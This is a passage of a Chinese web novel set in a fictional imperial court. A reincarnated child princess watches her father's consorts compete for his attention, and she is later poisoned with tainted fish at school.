得! 这下都笑不出来了。 “李庶妃,你等等啊,本妃没有笑话你!”秦芷嫣赶紧追了出去。 另外几个女人互视了一眼,也纷纷追了出去。 李庶妃是她们几个当中年纪最小的没错,可她今年也十七了吧?这…怎么还哭啦? … 唐蕊还不知道这一出,跟李庶妃回到王府后,她习惯性的去了膳房! 容嬷嬷则是招呼人把她买的东西全都搬去翠微阁。 膳房的厨子们也早就习惯了,从一开始的被动,到现在的主动。 以前是唐蕊喊了,他们才会开始准备唐蕊爱吃的食物。 可现在,管理膳房的主厨还专门去跟秦芷嫣商量了一下。 得到秦芷嫣首肯后,专门腾了一个灶台出来,一天十二个时辰都给唐蕊温着食物。 这不… 第78章 敢欺负本王的女儿,当本王死的? 主厨老王眼瞅着那个小团子来了,立刻招呼手底下的人把温着的食物拿出来摆上,满脸笑容的迎了上去:“小郡主,您回来啦?今天小的专门给您煲了鸡丝汤,还卤了很多鸡腿。” “谢谢老王叔,我最喜欢你卤的鸡腿啦!”唐蕊一直都很有礼貌的。 可老王叔还是不习惯,连连摆手:“使不得使不得,小的只是个奴才,给郡主准备食物,也是尽本分,哪能让郡主叫一声叔呢!” 小郡主的叔那可都是王爷,都是天潢贵胄,被那些贵人听到了还得了啊? “那我总不能叫你老王叭?”这听着有点像是在骂人哇! “老王挺好,郡主叫小的一声老王,小的就很高兴了!”老王把唐蕊请进了膳房。 里面有一张桌子早就成了唐蕊的专属桌,每天他都要擦好几遍。 考虑到唐蕊个子小,老王还专门找人打造了一把高点的椅子,方便唐蕊。 唐蕊哼哧哼哧爬上自己的专属椅子,刚一坐好就开炫。 还别说,老王手艺很好,鸡汤鲜香美味,鸡肉都撕成了条,炖得很软嫩。 卤鸡腿是唐蕊最爱,老王起的卤料味道又好。 唐蕊没忍住,一口气炫了八个鸡腿,四大碗鸡汤。 眼看锅里还剩一半,唐蕊止住了动作,掏出手帕擦着自己油乎乎的小嘴。 老王笑道:“郡主,还有很多呢,要不要再吃点?” “我已经饱了哦,谢谢款待!”唐蕊顺着高脚椅滑了下去,抬脚离开。 “恭送郡主!”老王点头哈腰,看着她逐渐远去。 手底下一个厨子凑了过来:“老王,郡主最近食量骤减啊!是不是不喜欢我们的厨艺了?” “说你蠢你还真蠢!”老王赏了他一个爆栗,心里跟明镜儿一样:“郡主哪里是不喜欢我们的厨艺了,郡主明明是知道,我们每次都会把她剩下的带回去给妻儿,所以才故意剩下这么多,懂了不?” 小厨子捂着脑门惊道:“郡主这么好?” “废话!”老王叔想起唐蕊,眼底满是笑意:“咱们璃王府的小主子,那可是神仙座下的小仙童转世,她不好谁好?” 古代可不是现代,古代权贵的剩饭剩菜对于普通人来说,那是过年都吃不着的好东西。 就像是唐蕊的鸡汤,都是用各种名贵温和的药材炖的,小小一碗都得几两银子。 有一次唐蕊去而复返,想告诉他,剩下的不要扔,明天再热热。 可却看到了他小心翼翼把她吃剩下的炖菜装了盒。 唐蕊当时没有怪他不说,还朝他竖起大拇指,说他这样很好,不会浪费食物。 给他感动得…都不知道该说什么才好了。 那时候起,唐蕊在他眼里就成了心善的小仙童。 其实他真是想多了,唐蕊只是因为不想浪费食物,还有一点力所能及的善心罢了。 她不是纯粹的古人,会设身处地的站在普通人的立场思考问题而已。 只要在能力范围之内,她也愿意去善良! … 吃饱喝足的唐蕊摸着自己的小肚皮往回走,脑子里思索着店铺的事。 赚钱是很有必要的,其他店还好,美妆店,她得好好露一手,调制一些美白产品。 毕竟,从古至今,女人的钱都是最好赚的。 走着走着,唐蕊路过司徒澈的书房,不经意往里面一瞅,顿时停下了脚步。 只见她的便宜老爹正站在桂花树下,双手背负在身后,抬头看着碧蓝的天空。 那身姿笔挺,宛如青松。 宽阔有力的肩膀,好似能挡住一切风浪! 微风拂过,桂花簌簌飒飒飘落,星星点点藏于他发间,成了三千鸦丝间的点缀。 那张脸俊美非凡,唇边噙着一丝若有似无的笑意,远远看去俨然一副树下美男图。 唐蕊的两只眼睛瞬间变成了爱心形状。 不怪她,每看老爹一次,都会被惊艳一次。 就脸这块来说,便宜老爹真是天下无敌! 唐蕊觉得,也许只有长大后的顾楠聿能跟老爹一较高下了。 就在她纯欣赏的时候,司徒澈抬眸看了过来,唇角的笑意深了一些:“回来了?” “嗯嗯嗯!”唐蕊迈着小腿跑了过去,围着他转了一圈:“爹爹,你能站起来啦?” “还得多亏你师姐了。”司徒澈也没想到,这辈子还能有再站起来的一天。 只是,坐了这么多年的轮椅,他现在也只能站站了,走路还是比较吃力。 “哇,爹爹你好高哦!”唐蕊比划了一下自己的身高,突然又开始担心了:“不像我,这么矮,我不会长不高叭?” 司徒澈这个头,至少1米8往上。 她现在才到他小腿处… 不过话又说回来,印象中便宜娘的个头不是很高,只有一米六那样子。 以后她的身高不会随老娘吧? 司徒澈见她郁闷了,低低的笑了一声,伸手把她抱了起来:“你是女子,不需要太高,合适就好。” “可我还是想长高一丢丢!”一米七那样子就很不错。 上一世,她的个头就很矮,只有一米五七,出门都是高跟鞋,就连家里的拖鞋都是带增高的。 这个时代可没有高跟鞋补她的身高差啊! 司徒澈到底是纯粹的古人,想法跟唐蕊不一样:“女子长那么高,不好嫁人的。” 大夏的女子以纤瘦娇小为美。 像他的皇兄们,还有父皇,以及朝廷那些官员,都喜欢这种女子。 若是北狄那些人高马大的女子,来了大夏绝对不好嫁。 他可不希望自己女儿以后也变成金刚芭比! 唐蕊一听这话不满道:“爹爹,我怎么可能为了男人的审美,去改变我自己的审美哦?” 司徒澈眉头微蹙:“那你以后的夫婿要是不喜欢你,又该怎么办?” 唐蕊优雅的翻了个白眼,阴阳怪气:“哎哟哟,吓死我了,不喜欢我,好严重哦,我会死吗?” 司徒澈:“…”那倒不会! 唐蕊觉得有必要为自己以后开设后宫努努力了,于是小脸一肃,开始一本正经给司徒澈洗脑:“爹爹,我是郡主,夫婿不喜欢我,我换个夫婿不就行了?为什么非得在一棵树上吊死哦?还是说,以后我的夫婿不喜欢我,欺负我,你也不给我做主么?” “他敢!”司徒澈脸色一沉,只要想想唐蕊所说的画面,心里一股莫名怒气直往上窜:“敢欺负本王的女儿,当本王死的?” 第79章 你是我爹你牛逼 “所以呀…” 唐蕊继续努力,精辟总结:“天下好男儿那么多,这个不行就换一个,不让我受委屈,才是最重要的叭?” 司徒澈:“…” 又是被女儿的歪理打败的一天! 明明和自己从小到大接受的女子以夫为天的教育相悖,偏偏他还觉得很有道理。 女儿这么可爱,又这么聪明,最是像他。 自从唐蕊来到王府后,就像个暖心的小棉袄,温暖着身边每一个人。 他与王妃解开心结,顾侧妃与太子断了来往,还有司徒郯那孩子的命数,包括他能重新站起来,都是托了唐蕊的福。 他的女儿,堂堂郡主,金枝玉叶,他都舍不得打骂,凭什么以后要让不相干的小子欺负? 司徒澈唇角上翘,终是认可了她的话:“你说得对,你是本王的女儿,不管是谁,都不能让你受半分委屈。若是以后顾家那臭小子欺负你,爹爹一定会为你做主。” 得! 这次无语的轮到唐蕊了! 她还小呢,就算莫名其妙多了个未婚夫,也代表不了什么。 … 几个女人齐齐跑来找司徒澈做主,刚进院入眼便是这一幕。 俊逸的男子抱着小团子,昂首站立,眼底透露着慈父般的宠溺。 宽肩窄臀,身姿挺拔如松。 飘落的点点桂花轻抚过他完美的侧颜,一眼惊为天人。 怀里的小奶团与他容貌七分相似,就像是一个缩小版的他,雪玉可爱。 包括秦芷嫣在内的五个女人,有一个算一个,整齐划一停下脚步,一时间都看呆了。 顾若雪甚至不由自主捂住了自己的胸口,抑制住疯狂跳动的小心脏。 此时此刻,什么风姿潇洒,气宇轩昂,飘飘有出尘之表,这些形容词全都在眼前具象化了。 父女俩似乎也察觉到了她们的视线,同时看了过来。 唐蕊一秒眉眼弯弯,抬起胖乎乎的小手跟她们打招呼:“母妃,庶母们,你们都来看爹爹哇?” 司徒澈先是怔楞了片刻,继而朝她们笑了笑:“怎么都来了?” “是…”秦芷嫣早就知道他能站起来了,除了脸红心跳倒是没别的情绪。 其他几个女人就不一样了。 “王爷,您…您能站起来了?”顾若雪眼眶酸涩,有些想哭。 司徒澈含笑点头:“上天怜悯本王。” “太好了,太好了!”李庶妃抓着张庶妃的手,激动得不停重复这三个字。 张侧妃也挺高兴的。 她和王府里其他几个女人不同,因为爹爹是先锋的关系,她自小在边疆军营长大。 也同样见证了司徒澈从骑马倚斜桥,满楼红袖招的少年郎成为赫赫威名的大夏战神。 有好几次,她甚至都换上小兵衣裳,悄悄跟随司徒澈出征过。 算起来,她也算司徒澈半个手下吧! 可…自从司徒澈残疾后,昔日里神采飞扬的少年英雄,就像是被斩断了翅膀的鸟,变得死气沉沉。 连带着这座璃王府,都染上了孤寂绝望的气息。 可现在,记忆中的战神王爷,那个鲜活的少年,好像又回来了。 他笑起来一如既往的俊美,自信,强大。 看到现在的司徒澈,就好像看到了当年他们被敌军围困的时候。 男人骑着白马,手持长枪,发带随风轻扬:“要时刻告诉自己,我们无所不能,没有什么困难能把我们打倒!我,司徒澈,向苍天起誓,一定会带你们突出重围,回到故乡!” 而他也真的做到了! 一向冷漠的张庶妃,后知后觉自己已经满脸泪痕,生怕别人看到,赶紧背过身去擦掉眼泪。 这一刻她突然发现,她不是不喜欢司徒澈。 只是她喜欢的,一直都是战场上那个杀伐果断,自信强大的战神司徒澈。 而不是自暴自弃,冷漠厌世的司徒澈。 不然凭着她的性子,就算是父亲的遗愿,她也不会甘心入王府后院,成为无数个女人之中的一个。 就在几个女人心思各异,忙着感动的时候。 唐蕊眼珠子一转,突然神来一句:“爹爹,既然你好了,那…是不是可以跟母妃和庶母们圆房啦?” 司徒澈笑容瞬间僵硬,眼尾抽搐! 几个女人的感动也瞬间像是被按下了暂停键,一张张俏脸上飘起红霞,一双双眼睛满怀期待的看了过来。 “这…这个…”迎着五双期待的眼神,司徒澈难得结巴了。 话说圆房怎么圆来着? 别的皇子十四五岁,就有皇帝安排的宫女亲身教导。 他那时候叛逆得很,根本没接受父皇安排的教导宫女。 唯一的一次,还是被唐蕊娘下药强迫,全程都是躺着享受了…啊呸,屁的享受,他才没有! “唐蕊,大人的事,小孩子别管!”司徒澈故意虎着脸教训,试图摆出严父的逼格。 然而唐蕊根本不吃这套,撇撇小嘴一脸不赞同道:“爹爹,以前就算了,母妃和庶母们都能理解你。可你现在都好了,总该履行一下为夫的责任了吧?母妃和庶母正直青春年华,难道你还要让她们守活寡?” “再多说一句,本王立刻给你请二十个教导嬷嬷,好好教教你规矩。”哪有做女儿的担心父亲房中事的?真是越来越不像话了。 唐蕊:“…” 得! 你是我爹你牛逼! 唐蕊拉上嘴巴,保持微笑,不跟他一般见识。 见她老实,司徒澈轻咳一声,这才神色如常的看向几个女人:“本王的腿,还没彻底痊愈,暂时不想声张。” “我们知道,王爷放心!” 几个女人都不是蠢货,多少都有点政治嗅觉。 司徒澈本就受宠,若是腿好的消息传出去,先别说其他皇子怎么想,太子第一个不会放过他! 此时隐忍蛰伏,才是上策。 司徒澈闻言放心了一些,但心里却想着,后面还是要让人盯着一些才好:“你们都来找本王,有事?” 几个女人闻言,这才想起自己的本意,开始七嘴八舌起来。 都说三个女人一台戏,五个女人…司徒澈脑子有点嗡嗡的,不过最后好歹是听懂了,不由得瞪着怀里的罪魁祸首。 唐蕊也没想到,她就是想跟李侧妃合个伙搞点事而已,居然让其他女人眼红了。 秦芷嫣握着帕子,像是看负心人一般看着她:“蕊蕊,你想做生意就找母妃呀,母妃名下也有好几个地段不错的铺子。” 第80章 第一个吃螃蟹的女人,顾侧妃 顾若雪暗戳戳插嘴:“蕊蕊,东街地段最好的茶社就是我的铺子,拿来做戏院茶社最好不过。” “还有我还有我!”朱侧妃立刻举手:“京都中心最好的酒楼就是我的。” “那还不是我拍卖了送给你的?你这叫恩将仇报!”李庶妃一听气急败坏道! 张庶妃凑了过来:“一码归一码,你这样只是让蕊蕊难做!” “嘿?好你个张思柔,我是为难蕊蕊吗?明明是你们为难我!” 眼看几个女人又要吵起来了,司徒澈一个头两个大:“好了,都闭嘴!” “哦!”几个女人一秒老实下来,一个个巴巴的瞅着他,跟唐蕊的小眼神一样一样的。 司徒澈:“…” 这就叫跟着好人学好人吗? 怎么感觉,家里几个女人都被唐化了? 司徒澈不想因为这件事伤了几个女人之间的和气,最后跟唐蕊商量了一下,还是决定一人负责一个店铺。 这样,他这一碗水算是端平了吧? 行叭! 司徒澈都发话了,一个就一个呗,总比没有好。 最郁闷的就是李侧妃了,回去后跟福宝吐槽了好久。 说好的五个店铺变成了一个,任谁都会不开心。 但她不知道的是,司徒澈也知道她受了委屈,第二天就进宫,找皇帝要了块御赐匾额——福瑞轩。 正是她们老李家皇商的招牌店名。 哎哟喂,那么多皇商,皇帝可从没给谁赐过匾额呀! 这可是天大的荣耀,也代表了皇室对李家瓷器的认可! 得! 这下李庶妃平衡了,对司徒澈千恩万谢,立刻让人把匾额送回娘家。 当天下午,她就收到了自家老爹托人送来的三十万两银票,以及一封亲笔家书。 大概内容就是,女儿你做得很棒,咱们老李家因为你长脸了,这些银子拿着随便花,不够爹再给,多买些好东西给王爷补补身体,好好伺候王爷,早日生下一儿半女云云。 李庶妃看完家书,又郁闷了:“还伺候王爷生孩子呢,王爷这好了跟没好似的,都不来我们屋里过夜,我找谁生孩子去。” 福宝好心支招:“要不…庶妃您主动一些?” “这…这让我怎么主动呀!”李庶妃老脸一红,扭着帕子:“真主动了,王爷肯定会觉得我太轻浮,我才不要!” 福宝:“…”那您继续饿着吧! 等其他主子抢先了,有您哭的时候。 福宝也不知道,自己这话一语成谶。 府里每个女人都在犹豫,要不要主动的时候,这天晚上,顾若雪端着亲自熬制的银耳羹来到了司徒澈的书房。 瞧见正在书桌前忙碌着的司徒澈,顾若雪咬了咬唇,脱下了外面的斗篷,露出透明的粉色薄纱。 “放着吧!本王…”司徒澈说着说着,抬眸一瞅,直接失声了。 顾若雪小脸红红,壮着胆子来到他身边,把银耳羹放在他面前:“爷,您尝尝!” “呃…”司徒澈回过神来,下意识别开视线:“你这穿的什么啊,也不怕着凉。” 顾若雪美目流转,有些委屈:“爷,不喜欢吗?” 司徒澈:“…”这话怎么接? 说喜欢,其实也不是多喜欢。 说不喜欢,会不会很打击人? 司徒澈斟酌片刻,委婉表达:“我只是没想到,你会穿成这样…” 毕竟顾若雪在他印象里,一直都是人淡如菊,无欲无求的。 怎么的? 现在是被妖精附体了不成? 太子呢? 真不要啦? 顾若雪来到他身后,轻柔的替他按捏着肩部。 被女儿家的脂粉气包裹,司徒澈表示,很不自在。 就在他想说,你要是没事就洗洗睡吧的时候,就听身后传来顾若雪的呢喃声:“王爷应该早就知道妾身跟太子的事了吧?妾身屋里那个洒扫丫头荷花,不就是爷安插在妾身院中的探子么?” 司徒澈闻言星眸一凝,反手抓住了她的手。 顾若雪早在来的时候就打定主意,甭管不要脸还是无下限,都要第一个‘吃螃蟹’的决心了。 她这辈子估计都没办法取代秦芷嫣的地位,但她只想求一点点偏爱,想求一份特殊。 于是,顾若雪趁着力道直接坐在了他的腿上,伸手环住了他的脖子。 司徒澈浑身一僵,差点把人扔出去。 “爷~”顾若雪甜腻腻的叫了一声,抬起眼眸凝视着他,眼底蕴含着司徒澈看不懂的情愫,也成功止住了被扔出去的命运。 司徒澈干巴巴道:“你站起来,好好说话!” “妾身不…”顾若雪干脆将脑袋贴在他胸口,让两人姿势更暧昧了一些:“从前都是妾身不好,受人蒙蔽。爷是真君子,不拆穿妾身,也不惩治妾身,给妾身一次又一次机会。爷应该比谁都清楚,妾身真正爱慕的一直都是爷,妾身自知罪孽深重,本不该再出现在爷面前。但是爷…妾身控制不住自己,只要看到爷,就忍不住满心爱慕,想离爷近一些,再近一些…” 顾若雪说到这,抬起头来,鼻子几乎要碰触司徒澈的鼻子,黝黑的眼底满是他的倒影:“爷,妾身自知不配,但妾身还是想求一求爷,怜惜妾身一次可好?” “…”这不是好不好的问题,是我踏马不会啊! 司徒澈正想着,要怎么委婉的表达的时候,顾若雪突然低下头吻了上来。 司徒澈眼睛瞬间瞪大了… ————————自行想象———————— 翌日一早,唐蕊早早起床,在明月的指导下扎了会马步。 等她收拾好出门的时候,每天送唐蕊去国学监的司徒澈难得缺席了,取而代之的依旧是明月。 秦芷嫣没看到司徒澈,还左右张望。 唐蕊直接问道:“明月,爹爹呢?” 明月老实脸:“王爷昨晚和顾侧妃在书房歇下了,一共三个时辰,叫了四次水。” 唐蕊:“呃…” 秦芷嫣笑脸瞬间僵硬,一颗心哇凉哇凉:“这…这样啊…” 唐蕊抬头看着秦芷嫣失魂落魄的模样,捏了捏她的手:“母妃,你还好吗?” “我…我很好…”秦芷嫣硬扯出一抹苦涩的笑,叹息一声道:“蕊蕊乖,别担心母妃,顾侧妃是你爹爹名正言顺的侧妃,宠幸她也是应该的。不光是顾侧妃,还有朱侧妃,李庶妃,张庶妃…” 第81章 这是规矩 说到最后,秦芷嫣说不下去了,一张脸白得跟鬼一样。 唐蕊都能感觉到,握着她肩膀的手在微微发抖。 “母妃!”唐蕊恨铁不成钢道:“我是想说哦,你也要努力啊!” “努力…什么?”秦芷嫣一时间都没反应过来,唐蕊这话什么意思。 唐蕊:“当然是努力早点拿下爹爹哇,你看顾庶母,就比你聪明,成了第一个吃螃蟹的人。” “…”螃蟹那种东西那么丑,跟你爹有可比性吗? 不过,小奶团老气横秋的模样,也让秦芷嫣难受的心情散去了一些。 秦芷嫣微微一笑,撩起她的发丝别在她耳后:“母妃知道,但母妃是你爹爹的正妻,本就该大度贤惠,母妃只是有些难过,自己调整一下就好了。” 能不难过嘛! 她可是正妃,怎么司徒澈不先跟她睡觉呀? 宝宝委屈,宝宝不说! “好叭,那我去国学监了哦,母妃再见!” 唐蕊转过身,就微不可见的叹了口气。 这种事,迟早的! 秦芷嫣和几个庶母都是司徒澈的女人,宠幸她们是司徒澈的责任。 总不能,让司徒澈跟她们和离,只留一个吧? 那这些庶母们还活不活了? 怪只怪这个时代,对女子太不友好了。 什么一生一世一双人,甭管小说里描写得再好,明白人也清楚,放在现实中根本就不可能。 现代有法律约束,都还有那么多男人出轨,更别说这个小三小四合法的时代。 司徒澈是王爷,以后还有可能更进一步,他的女人只会越来越多。 所以,尽到该尽的责任,给予该有的尊重,这才是这个时代好男人的标准! 送走了唐蕊,秦芷嫣失魂落魄的回到了自己院中,却见司徒澈早已在屋里等着了。 “王爷…”秦芷嫣调整好心情,笑着迎了上去。 哪怕此时她心中在滴血,也不得说些违心的祝福:“听说顾妹妹昨晚在爷书房歇下了,太好了,妾身恭喜爷,恭喜顾妹妹。” “起来吧!”司徒澈虚扶一把:“本王来,是想告诉你,一会儿记得给顾侧妃送去避子汤。” 秦芷嫣闻言一愣:“这…还要送避子汤吗?顾妹妹可知道这事?” 司徒澈点了点头:“她知道,也是她主动提及的。你是正妃,府中不管是哪个女人,都不能先你一步有孕,这是规矩。” “这样啊…”秦芷嫣闻言心里舒坦了几分,对顾若雪遏制不住的嫉妒也少了大半,柔柔笑道:“这规矩现在已经没几个人遵守了,爷只有蕊蕊一个女儿,不如这避子汤就…” “芷嫣,这是规矩!”司徒澈直视着她的眼眸,再次强调:“无规矩不成方圆,本王先宠幸顾侧妃已经是坏了规矩了,以后本王不会再犯,今晚…” 说到这里,司徒澈有些别扭的移开视线:“今晚本王会来你屋里歇息…” 秦芷嫣闻言眼睛一亮,脸也慢慢红了:“那…妾身等着爷…” “咳…本王还有事,先走了!”司徒澈几乎是逃一般离开秦芷嫣的小院的。 等跑远了,才狠狠的松了一口气。 这一刻他突然很佩服自家老爹,后宫三千佳丽啊,到底是如何心无负担跟那么多女人睡觉的。 他就宠幸一个,都感觉尴尬得要死了。 … 没一会儿,司徒澈宠幸了顾若雪的事,传到了另外几个女人耳中。 朱侧妃气得怒啃三猪蹄,一边啃一边骂:“这个顾若雪,我就知道她最是狡猾!” 李庶妃气得磨牙,恨恨的一拍桌子:“真是好白菜被猪拱了,王妃还在呢,凭什么她顾若雪第一个啊?我不服!” 张庶妃当着自家侍女没说什么,回到屋里后,左右看了看,把自己的透明的黄纱床幔扯了下来,在自己身上比划,嘴里还嘀咕着:“要不我也做件衣服,晚上去勾引一下?” 万一运气好吃上肉了呢? 几个女人的心思,唐蕊丝毫不知。 国学监,临到中午! 一到点,唐蕊依旧第一个风风火火冲进了食堂。 司徒安紧随其后:“昭华,都跟你说了别跑那么快,当心摔着!” “又不是一两日了,你应该习惯了!”顾楠聿继他之后踏入食堂。 最后是司徒郯。 哪怕身体好了,他依旧是那副文弱书生的模样。 “昭华正是长身体的时候,比较容易饿,很正常!”说罢,他还把自己食盒里一道小菜拿出来摆在唐蕊面前:“昭华,我母妃知道你喜欢美食,这是她做的百花酥,还让我一定要带给你。” “谢谢,谢谢哦!”唐蕊迫不及待拿起一小块尝了尝,发出一阵惊叹声:“哇哦,好好次。” 花香浓郁,各种香型都有,怪不得叫百花酥呢! 最重要的是,每一块糕点还都做成了花朵的形状,又好看又好次哇! 司徒郯微微一笑:“喜欢吃就多吃一些,这些都是你的!” 司徒安没好气的翻了个白眼:“要我说,三嫂就是偏心,这么多年了,咋没见她给我做过好吃的?” 顾楠聿一脸鄙夷,接过话来:“跟五岁丫头抢食,你也好意思?” 司徒安:“哟哟哟,这就护上了?你俩还没成亲呢!” 顾楠聿也从自己食盒里取出一盘栗子酥放在了唐蕊面前,顺便还拿起一块塞他嘴里:“闭嘴!” 司徒安拿下糕点,一声握草:“顾楠聿,爷可是皇子,你敢这么对爷。” “你咬我?”顾楠聿全程面无表情,嚣张依旧,气得司徒安牙痒痒。 两人日常斗嘴,唐蕊和司徒郯依旧是观众,边吃边看。 吵嚷间,其他孩子也陆陆续续的进来了。 唐蕊耳听八方,注意着他们嘀嘀咕咕的声音。 别看这些孩子小,但一个个的都是人精,知道不少贵圈不为人知的消息。 每次都能让她吃瓜吃到饱。 但今天,她却听到了一件跟自己有关的事。 隔壁桌老五睿王家的两个嫡女正在嘀咕,太子妃表哥失踪的事。 而唯一的庶女,也是她们名义上同父异母的妹妹,则是站在两个女娃身边,像个小小丫鬟一样伺候着二人用膳。 “我总算知道,父王这几天火气为什么那么大了。” “为什么呀?” “说是太子妃那表哥,叫什么何耀祖的,已经失踪好几个月了。现在爹管着顺天府,何家的人没事就去哭,说他们儿子不见了,爹被他们烦得不行,天天在外面找人,回来得也越来越晚。” “何氏?那不是永安侯的夫人娘家吗?好像就是个五品知府,也敢这么闹?就不怕父王跟他们急?” “那有什么办法?谁让爹管着顺天府呢,有人报官,总不能不管。” “可遭殃的是我们啊!我听说何家那个何耀祖不干人事,经常流连烟花之地,指不定在哪个温柔乡逍遥呢,凭什么让我们替他遭罪啊?” … 第82章 唐蕊中毒 两个嫡女不敢怨恨自家老爹,只能恨上何家了,连带着永安侯都被她们说了几句。 睿王本就不是个多称职的父亲,现在天天加班心情不好,连带着她们也成了出气筒。 不管什么,只要做不好,都会被骂。 就连睿王妃,最近也没少遭父王白眼,被父王说生不出儿子。 唐蕊默默竖起耳朵,都差点忘记这事了。 不过,说来也是哦,都过去几个月了,她毒死何耀祖的事,怎么可能一点动静都没有? 原来是顺天府根本没找到尸体? 那么问题来了,不应该呀! 她是毒死了何耀祖,但又没毁尸灭迹,怎么就找不着尸体呢? 等等,明月不是一直跟着她吗? 会不会是明月扫的尾? 唐蕊越想越觉得,肯定是这样。 明月真好,她杀了人,都愿意配合她毁尸灭迹。 看来以后要对明月好一些。 就在这时,一个唯唯诺诺的小娃娃提着自己的食盒走了过来,这不是司徒郯那同父异母的弟弟,司徒谦吗? 他约莫六岁,在唐蕊护犊子的技能下,他的母妃何庶妃已经被辰王厌弃了。 司徒谦怯生生的看着司徒郯:“大哥,我能跟你们一起坐吗?” “可以啊!”司徒郯当即往旁边挪了挪,拍了拍身边空出来的位置:“二弟,过来坐吧!” “谢谢大哥!”司徒谦似松了一口气的样子,提着小食盒坐了过来,还朝唐蕊露出一个可可爱爱的笑容:“昭华堂妹,我是司徒谦,今年六岁,也是你堂哥哦。” 唐蕊皮笑肉不笑的瞄了他一眼,一点面子都不给:“虽然本郡主也不是嫡女,但本郡主是皇爷爷亲封的郡主,也是璃王府现下唯一的子嗣,谦哥不是嫡子,若本郡主叫你堂哥,那你不是与郯堂哥平起平坐?” 司徒谦闻言脸色一白。 司徒郯也没想到唐蕊会说出这样的话,为难的看了司徒谦一眼,又扯了扯唐蕊的衣袖,凑到她耳边小声道:“昭华,不至于吧?谦哥的生母是犯了错,但他是无辜的。” “我知道!”唐蕊知道司徒谦也是受害者,被何庶妃这个亲娘下毒争宠。 但…只要想起上次她被司徒嫱撞飞,走在前面的司徒谦突然闪开,司徒郯才会被她砸晕休克,她就对这个孩子喜欢不起来。 司徒谦是瘦小,但他至少健康啊! 只要他愿意接一把,又不是接不住她,何至于连累后面的司徒郯? 这孩子,绝对不像表面上看到的这么无害。 或者是身边有人挑唆,他很相信那个人! 但… 司徒郯看起来很护着这个庶弟,唐蕊知道他八成听不进去自己的劝诫,只能无奈说道:“好吧,看在你的面子上,我不欺负他就是了。” “昭华真乖!”司徒郯松了一口气,见司徒谦的肉菜只有一个,于是拿出一盘自己的肉菜放在他面前:“你的嬷嬷怎么回事?为何只给你准备一个肉菜?” “嬷嬷的手艺很好,这道豆腐桂鱼也是我最喜欢的!”司徒谦说罢夹了一块鱼肉放在司徒郯碗里:“大哥,你也尝尝,真的很好吃哦。” 司徒郯笑着点头,还没来得及开口,一旁的唐蕊就把他碗中的鱼肉夹走了:“郯堂哥,我先帮你尝尝!” 司徒谦脸色僵硬了一瞬,下一刻就恢复自然:“反正这么多,我也吃不完的。郡主还要吗?再多吃几块?” “好啊!”唐蕊一点不客气,把那盘鱼划拉到自己面前,拿起筷子就开炫。 司徒安和顾楠聿狐疑的对视一眼,又看了看唐蕊。 唐蕊虽然好吃,但也不是这么没有礼貌的人啊! 为何? 司徒郯也很不理解! 只有司徒谦,看着欢快进食的唐蕊,眼底闪过一丝不属于他这个年纪的狠毒。 突然,唐蕊浑身一僵,手里的筷子啪嗒一声掉落在地,捂着肚子,张口吐出一口黑血来。 小小的身子,也软软一歪,往地上倒去。 “昭华!”顾楠聿就坐在她身边,神色大变,赶紧接住了她:“你怎么了?” “昭华!”司徒安和司徒郯也吓了一跳。 不光是他们,整个食堂的娃娃都懵了。 唐蕊又吐出一口黑血,吃力的抬起手指了指那盘鱼,最后指向司徒谦:“你这鱼…有毒…” “没!没有,怎么可能?你诬陷我!”司徒谦慌得一比,嬷嬷不是说,这毒不会立刻发作吗? 为什么? “顾楠聿,顾楠聿…他…他…司徒谦…害我…”唐蕊用尽所有力气说完这句话,脑袋一歪,意识陷入黑暗。 “昭华,昭华!”顾楠聿摇晃她几下,赶紧去探她的呼吸。 只是,呼吸非常微弱! “司徒谦,你死定了!”顾楠聿阴沉的扫了司徒谦一眼,抱着唐蕊跑了出去。 “等等我啊顾楠聿!”司徒安也赶紧追了上去:“我有腰牌,我带你们进宫找御医!” 整个食堂鸦雀无声,所有娃娃都不可置信的看着司徒谦,不敢相信这个透明人庶子竟敢当众下毒。 司徒谦都快被吓死了,一把鼻涕一把泪扯着司徒郯的衣袖:“大哥,我真的没有,我也不知道怎么回事呜呜呜…” 睿王家的嫡次女司徒月此时却讥讽道:“你确定不知道?我就坐你们旁边,刚刚可是看得清清楚楚,你想把这掺了毒的鱼给郯堂哥吃的,是昭华,为郯堂哥挡灾了吧?” “不,我没有!”司徒谦哭得更伤心了:“大哥,你相信我,你对我那么好,我为什么要害你呢?再说了,就算我要下毒也不会下这种立刻就毒发的毒药啊,这不是告诉所有人,我就是下毒之人吗?” 司徒月呵呵:“别装了,郯堂哥身体越来越好了,三皇叔想让他做世子,所以你急了,想杀了他,这动机难道还不够吗?毕竟没了郯堂哥,辰王府世子就只能是你了。” “胡说,胡说,一派胡言,你这是挑拨!”司徒谦扯着司徒郯的衣袖:“大哥,难道你也不相信我吗?” 司徒郯此时脑子很乱,看着这个弟弟的眼神也渐渐复杂起来。 母妃一直都告诉他,他是嫡子,不要跟庶子走太近,自古嫡庶不两立。 可周学士却教导他,作为兄长,应关爱弟妹, 最后他选择听周学士的,一直以来,他都很疼司徒谦这个弟弟,也自问做到了一个大哥该做的所有事。 可司徒谦呢? 他…真的会给自己下毒吗? 还连累了昭华! 等等…昭华… “昭华,昭华…”司徒郯后知后觉想起唐蕊那口吐黑血的样子,赶紧冲了出去。 第83章 昭华真是为我挡了灾? 唐蕊中毒,所有人都吓傻了。 偏偏今天明月跟着司徒澈去军中视察,没有在暗中保护。 妙珠眼睁睁的看着唐蕊倒下,吓得六神无主。 眼看唐蕊被顾楠聿抱走,她抬脚就追在顾楠聿身后,一把鼻涕一把泪喊着郡主。 临了上马车的时候,司徒安才发现她,顿时吼道:“我们带她进宫找太医,你跟着做什么?快去璃王府通知七皇兄啊!” 妙珠这才像是找到了主心骨,哭着点点头,爬上唐蕊的马车。 而顾楠聿,则是把唐蕊塞进了司徒安马车,两人一起用最快的速度带唐蕊进宫。 有司徒安这张脸,也免了入宫层层筛查,二人带着唐蕊直奔太医院。 “来人,快来人,快救救昭华!” 随着司徒安惊天地泣鬼神的一嗓子,整个太医院顿时乱作一团。 值守的太医比较年轻,一看唐蕊面露青紫,心下一咯噔,立刻叫了个小太监去禀告皇帝,又叫了一个小太监去请院首。 谁不知道昭华郡主是皇帝新宠? 要是死在这,他有几个脑袋都不够砍的。 没一会儿,皇帝收到消息,带着高贵妃来了。 军营里的司徒澈也第一时间赶进了宫。 就连司徒谦这个罪魁祸首,都被睿王家两个嫡女扯了过来。 还有几个收到信的王爷,一个接一个的全都到了。 小小的太医院顿时无比热闹。 值守的小太医哪里见过这种场面,吓得差点当场尿裤子。 同样被吓得尿裤子的,还有司徒谦。 只不过他现在跪在屋外哭,暂时没人搭理他。 